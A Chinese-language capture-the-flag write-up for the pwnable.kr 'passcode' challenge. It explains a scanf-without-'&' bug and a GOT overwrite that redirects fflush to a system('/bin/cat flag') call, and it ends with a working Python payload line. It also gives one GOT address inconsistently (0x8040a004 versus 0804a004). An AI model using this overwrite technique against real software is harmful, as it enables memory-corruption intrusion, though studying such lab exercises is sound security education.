pwnable.kr之passcode(10)

源码passcode.c

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

运行测试,输入passcode1,会提示segmentation fault段错误,原因在于

scanf(“%d”, passcode1); 获取passcode1输入时没用&,输入数值作为地址解析,此地址不存在,造成段错误

Welcome参数name位置 [ebp-6c]

Login参数passcode1 = v2 [ebp-c]  passcode2 = v1 [ebp-10],需要填充数据 6cH-cH = 60H = 96

Scanf()函数是一个具有写功能的函数,可以利用来进行GOT表修改

源码中login() Line 10调用scanf()输入passcode1之后,调用fflush(),因此可以把passcode1的地址覆盖成fflush的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush就调用成了system。据此,构造

payload:’a’ * 96 + p32(fflush_got_addr) + str(system_addr)

使用objdump -R 查看passcode的GOT表,其中fflush地址0x8040a004

使用gdb查看system /bin/cat flag地址

地址0x80485e3 = 134514147

构造payload 0804a004

python -c “print (‘a’*96+’\x04\xa0\x04\x08’+’134514147’)” | ./passcode

您可能还喜欢...